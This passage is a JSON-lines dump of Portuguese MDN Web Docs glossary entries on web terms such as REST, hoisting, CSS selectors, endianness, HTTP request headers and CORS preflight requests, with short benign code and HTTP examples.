Sistemas conhecidos que fornecem muitos desses\n rótulos incluem LaTeX, HTML e XML. O objetivo é dissociar a estrutura do documento de qualquer tratamento ou representação particular. Essa marcação é\n frequentemente descrita como \"semântica\". Um exemplo de uma marcação descritiva seria a tag\n `<cite>` do HTML, usada para rotular uma citação. Essa marcação incentiva os autores a\n escrever de uma maneira que descreva o material conceitualmente, em vez de apenas visualmente.\n\n\n\n Há um borrão considerável das linhas entre os tipos de marcação. Nos sistemas modernos de processamento de texto, a marcação de apresentação é geralmente\n salva em sistemas orientados a marcação descritiva, como XML, e depois processada procedimentalmente por outras sistemas. O TeX, linguagem de marcação\n procedimental, pode ser usada para criar sistemas de marcação com natureza mais descritiva, como o LaTeX."}
{"title":"REST - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"REST\n====\n\n**REST** (Representational State Transfer) refere-se a um grupo de restrições de design dentro da arquitetura de software que geram sistemas distribuídos eficientes, confiáveis e escaláveis. Um sistema é denominado RESTful quando adere a todas essas restrições.\n\nA ideia básica do REST é que um recurso, por exemplo um documento, seja transferido com seu estado bem definido, padronização de operações e formatos, ou serviços que se autodenominem RESTful, quando modificam diretamente o tipo de documento, ao invés de desencadear ações em algum lugar.\n\nComo o HTTP, protocolo padrão por trás da \"World Wide Web\", a \"Web\" também transfere documentos e links de hipertexto. APIs HTTP simples são às vezes chamadas de APIs RESTful, serviços RESTful ou simplesmente serviços REST, embora não adotem todas as restrições REST necessariamente. Os iniciantes podem presumir que uma API REST significa um serviço HTTP que pode ser chamado usando bibliotecas e ferramentas padrões da web.\n\n### Saiba mais\n\n* restapitutorial.com\n* restcookbook.com\n### Conhecimento geral\n\n* REST na Wikipédia\n* REST Architecture"}
{"title":"undefined - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"undefined\n=========\n\nUm valor **primitive** automaticamente atribuido para **variaveis** que foram recentemente declaradas ou para **arguments formais** para qual não existem **argumentos atualmente**.\n\nAprenda mais\n------------\n\n### Conhecimentos gerais\n\n* Undefined value no Wikipedia\n### Referência Técnica\n\n* JavaScript data types and data structures"}
{"title":"Hoisting - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Hoisting\n========\n\nHoisting (içamento, em português) é um termo que você *não* encontrará usado em nenhuma prosa de especificação normativa antes da especificação de idioma do ECMAScript® 2015. Hoisting foi pensado como uma maneira geral de pensar sobre como os contextos de execução (especificamente as fases de criação e execução) funcionam em JavaScript. No entanto, o conceito pode ser um pouco confuso a princípio.\n\nConceitualmente, por exemplo, uma definição estrita de elevação sugere que as declarações de variáveis e funções são fisicamente movidas para o topo do seu código, mas isso não é realmente o que acontece. Em vez disso, as declarações de variável e função são colocadas na memória durante a fase de *compilação*, mas permanecem exatamente onde você as digitou no seu código.\n\nAprenda mais\n------------\n\n### Exemplo técnico\n\nVariáveis:\n\nUma das vantagens do JavaScript em colocar declarações de função na memória antes de executar qualquer segmento de código é que ele permite que você use uma função antes de declara-la em seu código. Por exemplo:\n\n\n```js\nfunction catName(name) {\n  console.log(\"O nome do meu gato é \" + name);\n}\n\ncatName(\"Tigger\");\n\n/\\*\nO resultado do código acima é: \"O nome do meu gato é Tigger\"\n\\*/\n```\n\n\nO trecho de código acima é como você escreveria o código para que ele funcionasse. Agora, vamos ver o que acontece quando chamamos a função antes de escrevê-la:\n\n\n```js\ncatName(\"Chloe\");\n\nfunction catName(name) {\n  console.log(\"O nome do meu gato é \" + name);\n}\n/\\*\nO resultado do código acima é: \"O nome do meu gato é Chloe\"\n\\*/\n```\n\n\nMesmo que chamemos a função em nosso código primeiro, antes que a função seja escrita, o código ainda funciona. Isto ocorre por conta de como a execução de contexto funciona em JavaScript.\n\nHoisting funciona bem com outros tipos de dados e variáveis. As variáveis podem ser inicializadas e usadas antes de serem declaradas.\n\n### Apenas declarações são hoisted(içadas, em português)\n\nO JavaScript apenas eleva (hoists) as declarações, não as inicializações. Se uma variável for declarada e inicializada após usá-la, o valor será undefined. Por exemplo:\n\n\n```js\nconsole.log(num); // Retorna undefined\nvar num;\nnum = 6;\n```\n\n\nSe você declarar a variável depois que ela for usada, mas inicializá-la antecipadamente, ela retornará o valor:\n\n\n```js\nnum = 6;\nconsole.log(num); // retorna 6\nvar num;\n```\n\n\nAbaixo estão mais exemplos demonstrando a elevação (hoisting).\n\n\n```js\n//Exemplo 1 - Não eleva (hoist)\nvar x = 1; // Inicializa x\nconsole.log(x + \" \" + y); // '1 undefined'\nvar y = 2; // Initialize y\n//Isso não funcionará, pois o JavaScript apenas eleva declarações\n\n//Example 2 - Hoists\nvar num1 = 3; //Declara e inicializa num1\nnum2 = 4; //Inicializa num2\nconsole.log(num1 + \" \" + num2); //'3 4'\nvar num2; //Declara num2 para hoisting\n\n//Example 3 - Hoists\na = \"Cran\"; //Inicializa a\nb = \"berry\"; //Inicializa b\nconsole.log(a + \"\" + b); // 'Cranberry'\nvar a, b; //Declara ambos a & b para hoisting\n```\n\n### Referência técnica\n\n* var statement — MDN\n* function statement — MDN"}
{"title":"Selector (CSS) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Selector (CSS)\n==============\n\nO **seletor CSS** é parte da regra do CSS que lhe permite selecionar qual elemento(s) vai receber o estilo pela regra.\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<div>Eu estou dentro do elemento.</div>\n<p>Eu estou dentro de um elemento de parágrafo.</p>\n```\n\n### CSS\n\n\n```css\ndiv {\n  color: green;\n}\n\np {\n  color: red;\n}\n```\n\n\nNessa primeira regra do CSS, eu estou selecionando o elemento da div estilizando-a colorindo o texto para verde. Na segunda regra do CSS, eu estou selecionando o elemento \"p\" e estilizando-a colorindo o texto para vermelho. Aqui estão os resultados:\n\n![CSS selector coding results](/pt-BR/docs/Glossary/CSS_Selector/cssselectormdnglossary.jpg)\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Seletores básicos\n    + Tipos de seletores `elementname`\n    + Classes seletoras `.classname`\n    + ID seletores `#idname`\n    + Seletores universais `* ns|* *|*`\n    + Seletores de atributos `[attr=value]`\n    + `Seletores de estado a:active, a:visited`\n* Combinadores\n    + Seletores de irmão adjacentes (en-US) `A + B`\n    + Seletores de irmãos gerais `A ~ B`\n    + Seletores filhos (en-US) `A > B`\n    + Seletores descendentes (en-US) `A B`\n* Pseudo-elementos\n* Pseudo-classes\n### Referência técnica\n\nSelectors Level 3"}
{"title":"URL - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"URL\n===\n\n*Uniform Resource Locator* (**URL**) é uma sequência de texto que especifica onde um recurso pode ser encontrado na Internet.\n\nNo contexto de HTTP, URLs são chamadas de \"Endereços web\" ou \"link\". Seu navegador exibe as URLs na barra de endereços, por exemplo `https://developer.mozilla.org`\n\nURLs também podem ser usadas para transferir arquivos por (FTP (en-US)) , emails (SMTP (en-US)), e outras aplicações.\n\nAprenda mais\n------------\n\n### Conhecimento Geral\n\n* URL na Wikipedia\n### Saiba mais\n\n* Entendendo URLs e sua estrutura"}
{"title":"Endianness - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Endianness\n==========\n\n\"Endian\" and \"endianness\" (ou \"ordem-de-bytes\") descrevem como os computadores organizam os bytes que compõem os números.\n\nCada local de armazenamento de memória possui um indice ou endereço. Cada byte pode ser armazenado em um numero de 8-bits (ou seja, entre `0x00` e `0xff`), então você deve reservar mais que um byte para armazenar um numero maior. De longe, o mais comum na ordenação de múltiplos bytes em um único número é o **little-endian,** que é usado em todos os processadores Intel. Little-endian significa armazenar bytes na ordem do menor para o mais significativo (onde o byte menos significativo ocupa o primeiro, ou menor, endereço), comparável a maneira comum de escrever datas na Europa (por exemplo, 31 Dezembro de 2050).\n\nNaturalmente, **big-endian** é a ordem oposta, comparável a uma data ISO (2050-12-31). Big-endian é frequentemente chamada de \"ordem de bytes de rede\", por que os padrões da internet geralmente exigem que os dados sejam armazenados em big-endian, começando pelo nivel padrão do socket UNIX e indo a todas as estruturas padronizadas de dados binários da Web. Além disso, os computadores Mac mais antigos, que usam a série 68000 e microprocessadores PowerPC, usavam o big-endian.\n\nExemplos com o numero `0x12345678` (ou seja, 305 419 896 em decimal):\n\n* *little-endian:* `0x78 0x56 0x34 0x12`\n* *big-endian:* 0x12 0x34 0x56 0x78\n* *mixed-endian* (histórico e muito raro): 0x34 0x12 0x78 0x56\nVeja também\n-----------\n\n* `ArrayBuffer`\n* `DataView`\n* Typed Arrays\n* Endianness na Wikipedia"}
{"title":"Navegador - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Navegador\n=========\n\nUm navegador *Web* é um programa que obtém e exibe páginas da Web (en-US), e permite que os usuários acessem outras páginas através de hyperlinks (en-US).\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Navegador web na Wikipedia\n* The evolution of the web\n### Baixar um navegador\n\n* Mozilla Firefox\n* Google Chrome\n* Microsoft Internet Explorer\n* Opera Browser"}
{"title":"Pixel CSS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Pixel CSS\n=========\n\nO **Pixel CSS** - denotado no CSS pelo sufixo px - é uma unidade de comprimento que corresponde aproximadamente a largura ou altura de um ponto único que pode ser confortavelmente visto pelos olhos humanos sem esforço, mas é o menor possível. Por definição, esse é o tamanho físico de um único píxel em uma densidade de 96 DPI, situado a um braço de distância dos olhos do observador.\n\nEssa definição, é claro, se demonstra ser muito vaga, e termos como \"confortavelmente visto\" e \"braço de distância\" são imprecisas, variando de pessoa para pessoa. Por exemplo, quando um usuário se senta em sua mesa, defronte a sua área de trabalho, o monitor geralmente estará longe dos seus olhos enquanto ele estiver usando o celular.\n\nAssim sendo, geralmente basta dizer que quando a unidade de px é usada, o objetivo é tentar manter a distancia de 96px equivalentes a 1 polegada na tela, independentemente da densidade da tela. Em outras palavras, se o usuário está em celular com uma densidade de pixel de 266 DPI, e há um elemento colocado na tela com uma largura de 96px, então este elemento ocupará uma largura de 266px nos pixels do dispositivo.\n\nSaiba mais\n----------\n\n### Referência técnica\n\n* CSS Values and Units Module, section 5.2: Absolute Lengths\n### Aprenda sobre\n\n* CSS Length Explained on the MDN Hacks Blog"}
{"title":"Flexbox - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Flexbox\n=======\n\nFlexbox é o nome normalmente usado para o Módulo CSS Flexible Box Layout, um modelo de layout para mostrar itens numa única dimensão — como linha ou como coluna. Inserir uma caixa dentro da outra (p. ex. linha numa coluna, ou coluna numa linha) permite a criação de layouts em duas dimensões.\n\nNa especificação, Flexbox é descrito como um modelo de layout usado na criação de interfaces. A principal característica do Flexbox é o fato que itens em um layout podem crescer ou encolher. Espaços podem ser atribuídos aos próprios itens, distribuídos entre eles, ou posicionados ao redor dos mesmos.\n\nFlexbox também permite o alinhamento de itens tanto no Eixo Principal (en-US) quanto no Eixo Transversal (en-US), provendo um alto nível de controle sobre o tamanho e alinhamento de grupos de itens.\n\nVer também\n----------\n\n### Referência de propriedades\n\n* `align-content`\n* `align-items`\n* `align-self`\n* `flex`\n* `flex-basis` (en-US)\n* `flex-direction`\n* `flex-flow`\n* `flex-grow` (en-US)\n* `flex-shrink` (en-US)\n* `flex-wrap`\n* `justify-content` (en-US)\n* `order` (en-US)\n### Leitura adicional\n\n* *CSS Flexible Box Layout Module Level 1 Specification*\n* Guia CSS Flexbox: *`Conceitos básicos de flexbox`*\n* Guia CSS Flexbox: *`Relação entre flexbox e outros métodos de layout` (en-US)*\n* Guia CSS Flexbox: *`Alinhando itens em um container Flex`*\n* Guia CSS Flexbox: *`Ordenando itens flex` (en-US)*\n* Guia CSS Flexbox: *`Controlando proporções de itens flex ao longo do eixo principal` (en-US)*\n* Guia CSS Flexbox: *`Dominando o uso da propriedade wrap` (en-US)*\n* Guia CSS Flexbox: *`Casos típicos de uso do Flexbox` (en-US)*"}
{"title":"Escopo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Escopo\n======\n\nÉ o contexto atual de execução, em que valores e expressões são \"visíveis\" ou podem ser referenciadas. Se uma variável ou outra expressão não estiver \"no escopo atual\", então não está disponível para uso. Os escopos também podem ser em camadas em uma hierarquia, de modo que os escopos filhos tenham acesso aos escopos pais, mas não vice-versa.\n\nUma function serve como um procedimento em JavaScript, e portanto, cria um escopo, de modo que (por exemplo) uma variável definida exclusivamente dentro da função não pode ser acessada de fora da função ou dentro de outras funções.\n\nAprender mais\n-------------\n\n### Conhecimento geral\n\n* Escopo (computação) em Wikipedia"}
{"title":"Síncrono - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Síncrono\n========\n\n**Síncrono** refere-se a comunicação em tempo real onde cada parte recebe ( e se necessário, processa e responde) mensagens instantaneamente (ou o mais próximo possível do instantâneo).\n\nUm exemplo humano é o telefone — durante uma chamada telefônica você costuma responder para outra pessoa imediatamente.\n\nMuitos comandos de programação são também síncronos — por exemplo quando você digita um cálculo, o ambiente irá retornar o resultado para você instantaneamente, a menos que você programe para não fazer.\n\nSaiba mais\n----------\n\n### Technical reference\n\n* Assíncrono\n* Synchronous and asynchronous requests using the XMLHttpRequest() API"}
{"title":"Gecko - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Gecko\n=====\n\n**Gecko** é um motor de layout desenvolvido pela Mozilla Project e utilizado em vários apps/dispositivos, incluindo Firefox e Firefox OS (en-US).\n\nWeb browsers precisam de um software chamado de motor de layout para interpretar HTML, CSS, JavaScript, e conteúdos embutidos (como imagens) e desenhar tudo para a sua tela. Apesar disso, Gecko garante que APIs associadas funcionem bem em qualquer sistema operacional que o Gecko suporte, e que APIs apropriadas sejam expotas somente aos alvos relevantes. Isso significa que o Gecko inclui, além de outras coisas, uma pilha de conexão de rede, pilha gráfica, motor de layout, uma máquina virtual de JavaScript e portando camadas.\n\nComo todos os aplicativos do Firefox OS são Web apps, o Firefox OS usa o Gecko como seu aplicativo de execução também.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Gecko no Wikipedia\n### Referência técnica\n\n* A documentação do Gecko na MDN"}
{"title":"Acessibilidade - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Acessibilidade\n==============\n\n*Acessibilidade na Web (Web Accessibility)* (**A11Y**) refere-se às melhores práticas para manter um site útil, apesar das restrições físicas e técnicas. A acessibilidade da Web é formalmente definida e discutida no W3C através de Web Accessibility Initiative (en-US) (WAI).\n\nLeia Mais\n---------\n\n### Conhecimento Geral\n\n* Accessibility resources at MDN\n* Web accessibility na Wikipedia\n### Aprenda sobre acessibilidade na web\n\n* Web Accessibility In Mind\n### Referências Técnicas\n\n* The ARIA documentation on MDN\n* The Web Accessibility Initiative homepage\n* The WAI-ARIA recommendation"}
{"title":"TCP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"TCP\n===\n\nTCP (*Transmission Control Protocol*, em português, Protocolo de Controle de Transmissão) é um importante protocolo de rede que permite dois *hosts* se conectem e troquem dados. TCP garante a entrega de dados e pacotes na mesma ordem que foram enviados. Vint Cerf e Bob Kahn, que na época eram cientistas da DARPA (*Defense Advanced Research Projects Agency*, em português, Agência de Pesquisas em Projetos Avançados de Defesa), projetaram TCP na década de 1970.\n\nSaiba Mais\n----------\n\n### Conhecimento Geral\n\n* Transmission Control Protocol na Wikipedia"}
{"title":"Recursão - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Recursão\n========\n\nUm ato de uma função invocando a si mesma. A recursão é usada para resolver problemas que contêm subproblemas menores. Uma função recursiva pode receber dois inputs (entradas): um caso base (termina a recursão) ou um caso recursivo (continua a recursão).\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* Recursividade (ciência da computação) no Wikipédia\n* More details about recursion in JavaScript"}
{"title":"Tópico de Alinhamento - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Tópico de Alinhamento\n=====================\n\nNo Alinhamento de Box do CSS (en-US), o **tópico (assunto) de alinhamento** é a coisa (ou coisas) que está sendo alinhada pelas propriedades.\n\nPara o `justify-self` (en-US) e `align-self`, o tópico de alinhamento é o box de margem do box em que a propriedade está definida, usando o modo de escrita desse box.\n\nPara o `justify-content` (en-US) e `align-content`, o modo de escrita do box também é usado. A definição do tópico de alinhamento depende do modo de layout que está sendo usado.\n\nContêineres de bloco (incluindo células de tabela)\n\nTodo o conteúdo do bloco como uma única unidade.\n\nContêineres de colunas múltiplas (multicol)\n\nAs caixas de colunas, com qualquer espaçamento inserido entre as caixas de colunas adicionado às lacunas de coluna relevantes.\n\nContêineres flexíveis\n\n Para `justify-content` (en-US), os items flexíveis em cada linha flexível.\n Para `align-content`, as linhas flexíveis. Perceba que, isso só tem efeito em contêineres flexíveis de múltiplas linhas.\n\n\nContêineres grid\n\nAs trilhas do grid nos eixos apropriados, com qualquer espaçamento inserido entre trilhas adicionado à gutters relevantes. Gutters colapsados são tratados como uma oportunidade única para inserção no espaço.\n\nSaiba mais\n----------\n\n* Alinhamento de Box do CSS (en-US)"}
{"title":"Key - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Key\n===\n\nUma key é uma parte de informação utilizada por um cipher (en-US) para encryption (en-US) e/ou decryption (en-US).Mensagens criptografadas devem permanecer seguras mesmo se tudo envolvendo o cryptosystem, com exceção da key, for de caráter público.\n\nEm symmetric-key cryptography (en-US), a mesma chave é utilizada para criptografar e descriptografar. Em public-key cryptography (en-US), existem keys relacionadas conhecidas como keys públicas e keys privadas. A key pública é disponibilizada gratuitamente, enquanto, a key privada é mantida \"em segredo\". A key pública é capaz de criptografar mensagens as quais apenas a key privada correspondente é capaz de descriptografar, e vice-versa.\n\nAprenda mais\n------------\n\n* Kerckhoffs's principle na Wikipedia\n### Dicionário\n\n\"Key\": \"Chave\""}
{"title":"Localização - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Localização\n===========\n\nLocalização (L10n) é o processo de tradução de interfaces de software a partir de uma língua para outra e adaptá-lo para atender a uma cultura estrangeira. Esses recursos são para qualquer pessoa com interesse nos aspectos técnicos envolvidos na localização. Eles são para os desenvolvedores e todos os colaboradores.\n\nDocumentação\n------------\n\nLocalização Guia Rápido\n\nFirst read for volunteers wanting to start localizing.\n\nXUL Tutorial:Localization\n\nXUL Tutorial section on localizing XUL applications.\n\nWriting localizable code\n\nBest practices and guidelines for programmers to play nicely with localization.\n\nLocalizing Help files\n\nHow to separate content from HTML to make these files more easy to localize.\n\nCustom dialog size\n\nHow to adjust window sizes to fit specific localizations.\n\nLocalizing extension descriptions\n\nTo localize the description of an extension (the string that shows up under extension's name in the Extensions window), you need to use a special preference key to override the description specified in your install.rdf file. This article contains instructions on how to modify this preference key.\n\nFrequently Asked Localization Questions\n\nFrequently asked questions about localization.\n\nRelated Topics\n--------------\n\n* Extensions,\n* XUL"}
{"title":"Doctype - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Doctype\n=======\n\nNo HTML, o doctype é a introdução \"`<!DOCTYPE html>`\" encontrada no topo de todos os documentos. Seu único propósito é evitar que o browser mude para os chamados \"quirks mode\" quando renderizar um documento; isto é, o \"`<!DOCTYPE html>`\" doctype garante que o browser faça um esforço na tentativa de seguir as especificações relevantes, em vez de usar um modo de renderização diferente e que seja incompatível com algumas especificações.\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* Definição do DOCTYPE nas especificações do HTML\n* Quirks Mode and Standards Mode\n### Referência técnica\n\n* Document.doctype, um método JavaScript que retorna o doctype"}
{"title":"Cabeçalho de Requisição - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Cabeçalho de Requisição\n=======================\n\nUm **cabeçalho de requisição** é um cabeçalho HTTP (en-US) que pode ser utilizado em uma requisição HTTP, e não é relacionado ao conteúdo da mensagem. Cabeçalhos de requisição, como `Accept`, `Accept-*`, ou ainda `If-*` permitem realizar requisições condicionais; outros como `Cookie`, `User-Agent` ou `Referer` deixa o contexto mais preciso para que o servidor possa adaptar melhor a resposta.\n\nNem todos os cabeçalhos exibidos em uma requisição são *cabeçalhos de requisição.* Por exemplo, o `Content-Length` exibido em uma requisição `POST` é na realidade uma entity header, que referencia o tamanho do corpo da mensagem de requisição. Porém, esses *cabeçalhos de entidade* muitas vezes são chamados de *cabeçalhos de requisição*.\n\nAdicionalmente, o sistema CORS define um subconjunto de cabeçalhos de requisição como simple headers (en-US), cabeçalhos de requisição que sempre são considerados como autorizados e não são explicitamente listados em respostas de requisições preflight.\n\nUm certo número de cabeçalhos de requisição após uma requisição `GET`:\n```\n\nGET /home.html HTTP/1.1\nHost: developer.mozilla.org\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: https://developer.mozilla.org/testpage.html\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nIf-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT\nIf-None-Match: \"c561c68d0ba92bbeb8b0fff2a9199f722e3a621a\"\nCache-Control: max-age=0\n```\n\n\nEstritamente, o cabeçalho `Content-Length` neste exemplo não é um cabeçalho de requisição como os outros, mas sim uma entity header:\n```\n\nPOST /myform.html HTTP/1.1\nHost: developer.mozilla.org\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0\nContent-Length: 128\n```\n\nLearn more\n----------\n\n### Technical knowledge\n\n* List of all HTTP headers"}
{"title":"Argumento - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Argumento\n=========\n\nUm **argumento** é um valor (primitivo ou um objeto) passado como um input (entrada) para uma função.\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* Diferenças de Parâmetro e Argumento no Wikipédia\n### Referencia Técnica\n\n* Os `arguments` de objeto no JavaScript"}
{"title":"Valor - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Valor\n=====\n\nNo contexto de dados ou um objeto wrapper em torno desses dados, o valor é um valor primitivo que contém o wrapper do objeto. No contexto de uma variável ou propriedade, o valor pode ser primitivo ou refêrencia de um objeto (en-US).\n\nAprender mais\n-------------\n\n### Conhecimento geral\n\n* Primitive wrapper class on Wikipedia"}
{"title":"HTML - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"HTML\n====\n\nHTML (HyperText Markup Language) é uma linguagem descritiva que especifica a estrutura de uma página web.\n\nBreve história\n--------------\n\nEm 1990, Tim Berners-Lee definiu o conceito de hipertexto como parte de sua visão da Web (en-US) , a qual Berners-Lee formalizou no ano seguinte através de uma marcação baseada em SGML. O IETF (en-US) começou a especificar formalmente o HTML em 1993, e depois de vários rascunhos, lançou a versão 2.0 em 1995. Em 1994 Berners-Lee fundou a W3C para desenvolver a Web. Em 1996, a W3C assumiu o HTML e publicou a recomendação HTML 3.2 um ano depois. A recomendação HTML 4.0 foi lançada em 1999 e se tornou um padrão ISO em 2000.\n\nNesse momento, a W3C quase abandonou o HTML em favor do XHTML, levando a fundação de um grupo independente chamado de WHATWG em 2004. Graças ao WHATWG, o trabalho em HTML5 (en-US) continuou: as duas organizações lançaram o primeiro rascunho em 2008 e o padrão final em 2014.\n\nConceito e sintaxe\n------------------\n\nUm documento HTML é um documento de texto simples estruturado com elementos. Elementos são acompanhados de abertura e fechamento de tags. Cada tag começa e termina com colchetes angulares (<>). Existem algumas tags vazias ou sem conteúdo que não podem incluir qualquer texto, como por exemplo a tag `<img>`.\n\nVocê pode estender tags HTML com atributos, os quais fornecem informações adicionais que afetam como o navegador interpreta o elemento:\n\n![Detalhes da estrutura de um elemento HTML](/pt-BR/docs/Glossary/HTML/mdn_anatomia_de_um_elemento_html.png)\n\nUm arquivo HTML normalmente é salvo com uma extensão .htm ou .html, é disponibilizado por um servidor web, e pode ser renderizado por qualquer navegador.\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* HTML na Wikipedia\n### Aprendendo HTML\n\n* Nosso tutorial de HTML\n* O curso web no codeacademy.com\n### Referência Técnica\n\n* A documentação HTML no MDN\n* A especificação HTML (W3C)"}
{"title":"Requisição Preflight - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Requisição Preflight\n====================\n\nUma requisição *preflight* de CORS é uma requisição de CORS que verifica se o protocolo CORS é entendido e se o servidor aguarda o método e cabeçalhos('headers') especificados.\n\nÉ uma requisição `OPTIONS`, que usa três cabeçalhos de solicitação HTTP: `Access-Control-Request-Method`, `Access-Control-Request-Headers`, e o cabeçalho `Origin`.\n\nUma requisição *preflight* é emitida automaticamente por um navegador, quando necessário. Geralmente, os desenvolvedores front-end não precisam criar essas solicitações. Ela acontece quando a requisição é qualificada \"para ser preflighted\" e omitida para requisições simples.\n\nPor exemplo, o cliente pode perguntar ao servidor se este permitiria uma requisição `DELETE`, antes de enviá-la, usando uma requisição *preflight*:\n```\n\nOPTIONS /resource/foo\nAccess-Control-Request-Method: DELETE\nAccess-Control-Request-Headers: origin, x-requested-with\nOrigin: https://foo.bar.org\n```\n\n\nSe o servidor permitir, ele responderá à requisição *preflight*: com um cabeçalho de resposta `Access-Control-Allow-Methods`, que lista DELETE:\n```\n\nHTTP/1.1 204 No Content\nConnection: keep-alive\nAccess-Control-Allow-Origin: https://foo.bar.org\nAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE\nAccess-Control-Max-Age: 86400\n```\n\n\nA resposta da requisição *preflight* pode ser opcionalmente cacheada para requisições realizadas na mesma url usando o cabeçalho Access-Control-Max-Age como no exemplo acima.\n\nVeja também\n-----------\n\n* CORS\n* `OPTIONS`"}
{"title":"Caractere - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Caractere\n=========\n\nUm *caractere* é um símbolo (letras, números, pontuação) ou de controle não imprimível (por exemplo, carriage return ou hífen). UTF-8 é o conjunto de caracteres mais comum e inclui os grafemas dos idiomas humanos mais populares.\n\nSaiba Mais\n----------\n\n### Conhecimento Geral\n\n* Caractere no Wikipedia\n* Codificação de caracteres no Wikipedia\n* ASCII on Wikipedia\n* UTF-8 on Wikipedia\n* Unicode on Wikipedia"}
{"title":"Modelo de Objeto CSS (CSSOM) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Modelo de Objeto CSS (CSSOM)\n============================\n\nO **Modelo de Objeto CSS (CSSOM)** é um mapeamento de todos os seletores CSS e propriedades relevantes para cada seletor no formato de árvore, com um nó raiz, irmão, descendente, filho e outro relacionamento. O CSSOM é muito similar ao Modelo de Objeto de Documento (DOM). Ambos são parte do caminho de renderização crítica, o qual é uma série de etapas que devem acontecer para renderizar o site corretamente.\n\nO CSSOM, junto ao DOM, para construir a árvore de renderização, que por sua vez é usada pelo navegador para apresentar e estilizar a página.\n\n### CSSOM API\n\nO Modelo de Objeto CSS é também um conjunto de APIs que permitem manipulação de CSS a partir do JavaScript. É semelhante ao DOM, mas para o CSS invés de HTML. Permite os seus usuários lerem e modificar o CSS dinamicamente.\n\nSaiba mais\n----------\n\n* Preenchendo a página: como os navegadores funcionam (en-US)"}
{"title":"Programação de Computadores - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Programação de Computadores\n===========================\n\nProgramação é o processo que formula a solução de um problema computacional ou automatiza uma tarefa repetitiva na forma de uma série de instruções sequenciais em um programa executável.\n\nSaiba mais\n----------\n\n### Conhecimentos gerais\n\n* Programação de computadores na Wikipédia"}
{"title":"Prefixos vendor - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Prefixos vendor\n===============\n\nOs *fabricantes de browsers*, por vezes, adicionam prefixos às propriedades experimentais ou fora dos padrões CSS, de modo que os desenvolvedores podem experimentá-las, enquanto —em teoria— as mudanças no comportamento dos navegadores não quebrarão o código durante o processo de padonização. Os desenvolvedores devem esperar para incluir a propriedade *não pré-fixada* até que o comportamento do navegador seja padronizado.\n\n**Nota:** Os *fabricantes de browsers* estão trabalhando para parar de usar prefixos de fornecedores para recursos experimentais. Os desenvolvedores da Web têm vindo a usá-los em sites de produção, apesar de sua natureza experimental. Isso tornou mais difícil para os fornecedores de navegadores garantir a compatibilidade e trabalhar com novos recursos; também foi prejudicial aos navegadores menores que acabam forçados a adicionar prefixos de outros navegadores para carregar sites populares.\n\nUltimamente, a tendência é adicionar recursos experimentais por trás das bandeiras controladas pelo usuário e trabalhar com especificações menores que alcancem a estabilidade muito mais rápido.\n\nNormalmente, os vendors usam esses prefixos:\n\n* `-webkit- (`Chrome, Safari, versões mais recentes do Opera.)\n* `-moz-` (Firefox)\n* `-o-` (Versões antigas do Opera)\n* `-ms-` (Internet Explorer)\n\nOs vendedores também usam prefixos em APIs. Em interfaces, eles normalmente usam:\n\n* `Webkit (`Chrome, Safari, versões mais recentes do Opera.)\n* `Moz` (Firefox)\n* `O` (Versões antigas do Opera)\n* `MS` (Internet Explorer)\n\nEm propriedades e métodos, eles normalmente usam:\n\n* `webkit (`Chrome, Safari, versões mais recentes do Opera.)\n* `moz` (Firefox)\n* `o` (Versões antigas do Opera)\n* `ms` (Internet Explorer)\nAprender mais\n-------------\n\n### Conhecimento geral\n\n* Vendor prefix no Wikipedia"}
